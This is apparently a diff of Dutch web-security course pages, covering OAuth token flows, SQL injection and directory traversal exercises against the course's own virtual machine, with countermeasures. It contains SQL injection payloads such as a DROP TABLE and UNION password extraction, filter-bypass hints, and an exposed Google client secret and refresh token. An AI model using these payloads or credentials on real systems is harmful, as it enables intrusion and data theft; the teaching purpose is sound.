<span class="url">http://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&amp;response_type=token</span>
</p>
<div class="question">
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
{% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %}
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input>
</div>
<p class="hint">
<strong>Hint:</strong> Let je wel op dat er een slash staat achter
<code>authorize</code> in de URL?</p>
<div class="question">
<span class="question-string">Hoeveel seconden is deze token code geldig?</span>
{% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %}
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input>
</div>
<p>De access token kan je nu gebruiken om een request te doen naar
<a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen
headers en data. In de screenshots gebruiken we
<a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
<div class="question">
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
{% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %}
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input>
</div>
<p class="hint">
<strong>Hint:</strong> Let op dat je de Authorization data als
<i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
<h3>Web applicaties</h3>
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie
URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect
om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen
en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
<ol>
<li>Ga naar
<a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als
<b>Authorization grant type</b> de waarde
<b>Authorization code</b> heeft.
<br>
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
</li>
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met
<b>response_type=code</b> in plaats van response_type=token</li>
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
</ol>
<div class="question">
<span class="question-string">Welke authorisatie code heb je gekregen?</span>
{% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %}
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input>
</div>
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token.
Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
<ul>
<li>
<b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
<li>
<b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
<li>
<b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
<li>
<b>client_id</b>: De client id die je hebt verzonnen</li>
<li>
<b>client_secret</b>: De client secret die je hebt verzonnen</li>
</ul>
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response
met daarin de refresh_token (en een gratis access_token!). Als je een
<code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een
<code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En
als je een
<code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt
<i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een
keer extra goed of de URL eindigt op
<code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
<div class="question">
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
{% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %}
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea>
</div>
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth
uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor
is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker.
Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
<h3>Google</h3>
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
<code style="display: block;">
Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br>
Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br>
Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code>
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token)
om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter
op 'refresh_token' zetten:</p>
<p class="hint">
<strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
<p>Gebruik de access token die je krijgt om een API call te doen naar
<span class="url">https://www.googleapis.com/calendar/v3/calendars/websecpaulwagener@gmail.com/events</span>. Vergeet niet weer de juiste
Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google
Calender te zien in JSON formaat.</p>
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
<div class="question">
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
{% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %}
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input>
</div>
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag
weer de
<a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een
<a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals
<a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of
<a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
<p>Details over Google OAuth 2.0 kan je vinden op
<a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de
<a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &amp;
auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
<p>Gebruik de authorisatie URL zoals die
<a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
<p class="hint">
<strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde
API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld
<a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
<div class="question">
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die
requests). Gevoelige data mag je met ***** censureren.</span>
{% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %}
<textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea>
</div>
<h3>Mini webapp</h3>
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je
mag ook een OAuth framework gebruiken)</p>
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
<div class="question">
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
{% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %}
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea>
</div>
{% endblock %}

@ -0,0 +1,78 @@
<h1>Insecure Direct Object References</h1>
<img src="/static/img/imgr.png">
<h2>Image site</h2>
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit
wat de inhoud van dit bestandje is.</p>
<p class="hint">
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
<p class="hint">
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
<div class="question">
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
</div>
<h2>Image 2</h2>
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver
bereikbaar is. De plaatjes worden nu via een speciaal image.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
<p class="hint">Met een paar extra
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
</div>
<p>Verander image.php in image_check_prefix.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
<div class="question">
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
</div>
<p>Verander de bestandsnaam in image_remove_traversal.php (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
URL kan gebruiken.</p>
<p class="hint">
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
URL filterde?</p>
<div class="question">
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
</div>
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
<div class="question">
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
</div>
<img src="/static/img/parent_dir.png" class="center-block">
<h2>Image 3</h2>
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
<p class="hint">
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
<p class="hint">
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
<code>include()</code> ziet er interessant uit...</p>
<div class="question">
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
</div>

@ -0,0 +1,7 @@
<div class="points">
{% if points != None %}
<i>{{ points }} van de {{ max }} punten</i>
{% else %}
<span class="question-points">{{ max }}</span> punten
{% endif %}
</div>

@ -0,0 +1,6 @@
<h1>Upload hier je certificate signing request (.csr):</h1>
<form enctype="multipart/form-data" method="POST">
{% csrf_token %}
<input type="file" name="csr">
<input type="submit">
</form>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -0,0 +1,222 @@
<style>
code i {
color: blue;
font-style: normal;
font-weight: bold;
}
p code {
padding: 0;
margin: 2px;
}
</style>
<h1>Web App Security</h1>
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin
komen we meteen bij een gouden regel:</p>
<blockquote>Het hacken van websites zonder toestemming is
<strong>niet</strong> toegestaan</blockquote>
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p>
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
<h1>SQL injection</h1>
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn
er
<a href="https://www.google.nl/webhp?#safe=off&amp;tbm=nws&amp;q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query
die wordt uitgevoerd is bijvoorbeeld deze:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
<h5>Commentaar</h5>
<p>Met
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar.
De query zal dus ook rijen teruggeven waar
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
kopen :)</p>
<h5>AND, OR</h5>
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld
de volgende query maken met de juiste invoer:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
<p>Deze query maakt weer het
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
resultaat is altijd true (de haakjes worden als volgt geplaatst:
<code>. OR ( . AND . )</code>).</p>
<h5>Meerdere queries</h5>
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk
eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
<p>Met
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
<h5>UNION</h5>
<p>We kunnen met behulp van de
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries
evenveel kolommen teruggeven.</p>
<img src="/static/img/shield.png" style="float: right">
<h4>Countermeasures</h4>
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
<h5>Stored procedures</h5>
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat
in plaats op de server is SQL injectie niet mogelijk</p>
<h5>Prepared statements</h5>
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
Lees
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
<h5>Escaping</h5>
<p>Je kan ook alle invoer zelf escapen met functies zoals
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
op je website!</p>
<p>Op
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
<img src="/static/img/sql_injectie.png" class="center-block">
<h2>Bank</h2>
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
geld Bob op zijn rekening heeft staan.</p>
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom
haar rekening hacken met behulp van SQL.</p>
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
<p class="hint">
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
<p class="hint">
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
<p class="hint">
<strong>Hint 3:</strong> Bekijk de broncode achter de site:
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot">
<div class="question">
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
</div>
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND,
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
<div class="question">
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
</div>
<p class="hint">
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span>
</div>
<p>Open de
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
(queries gescheiden door een ; ).</p>
<div class="question">
<span class="question-string">Met welke
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
</div>
<img src="/static/img/bank_schema.png">
<h2>Webshop</h2>
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de
webshop van Leaky's. Gebruik hiervoor de link
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
<p>Je kan de broncode vinden op:
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
</p>
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare
quotejes om de query aan te passen.</p>
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit
de database!</p>
<p class="hint">
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
</p>
<img src="/static/img/webshop_schema.png">
<div class="question">
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en
4)
</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
</div>
<p>Open de pagina
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit
de invoer gefilterd.</p>
<p class="hint">
<strong>Hint:</strong> SELSELECTECT</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
</div>
<h2>Wereldwijs</h2>
<p>Ga in de VM naar de
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

@ -0,0 +1,85 @@
.url {
color: #000088;
font-family: Courier;
}
figcaption {
text-align: center;
}
figure img {
margin-left: auto;
margin-right: auto;
}
@media (min-width: 767px) {
#menu {
position: fixed;
}
}
#difficulty {
width: 150px;
}
.screenshot {
box-shadow: 0 0 10px #888;
border: 1px solid #aaa;
border-radius: 7px;
}
body {
background-color: #e8eef7;
padding: 2em;
}
#quiz {
padding: 1em;
background-color: white;
border: 1px solid #ccc;
}
.question {
padding: 1em;
margin: 2em;
border-left: 3px solid darkorange;
}
.question-string {
font-weight: bold;
}
.center-block {
display: block;
margin-left: auto;
margin-right: auto;
}
textarea {
width: 75%;
height: 9em;
}
input {
width: 75%;
}
code.terminal {
background-color: black;
color: white;
font-family: Courier, monospace;
padding: 1em;
margin: 1em;
display: block;
white-space: normal;
}
.argument {
font-family: Courier, monospace;
font-weight: bold;
}
.website{
font-style: italic;
font-variant: small-caps;
color:dodgerblue;
}

@ -0,0 +1,2 @@
U2FsdGVkX191ur0pmvNcmrnlem8L5S6NuQUEAurl+aSZzKQirnAfoDAf/QWYWwOx
w4wCKOGIJ9jxFrAJwqJjaA==

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 128 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 232 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 673 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 141 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 456 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

File diff suppressed because one or more lines are too long

@ -0,0 +1 @@
"use strict";jQuery.base64=(function($){var _PADCHAR="=",_ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",_VERSION="1.0";function _getbyte64(s,i){var idx=_ALPHA.indexOf(s.charAt(i));if(idx===-1){throw"Cannot decode base64"}return idx}function _decode(s){var pads=0,i,b10,imax=s.length,x=[];s=String(s);if(imax===0){return s}if(imax%4!==0){throw"Cannot decode base64"}if(s.charAt(imax-1)===_PADCHAR){pads=1;if(s.charAt(imax-2)===_PADCHAR){pads=2}imax-=4}for(i=0;i<imax;i+=4){b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6)|_getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&255,b10&255))}switch(pads){case 1:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&255));break;case 2:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join("")}function _getbyte(s,i){var x=s.charCodeAt(i);if(x>255){throw"INVALID_CHARACTER_ERR: DOM Exception 5"}return x}function _encode(s){if(arguments.length!==1){throw"SyntaxError: exactly one argument required"}s=String(s);var i,b10,x=[],imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8)|_getbyte(s,i+2);x.push(_ALPHA.charAt(b10>>18));x.push(_ALPHA.charAt((b10>>12)&63));x.push(_ALPHA.charAt((b10>>6)&63));x.push(_ALPHA.charAt(b10&63))}switch(s.length-imax){case 1:b10=_getbyte(s,i)<<16;x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_PADCHAR+_PADCHAR);break;case 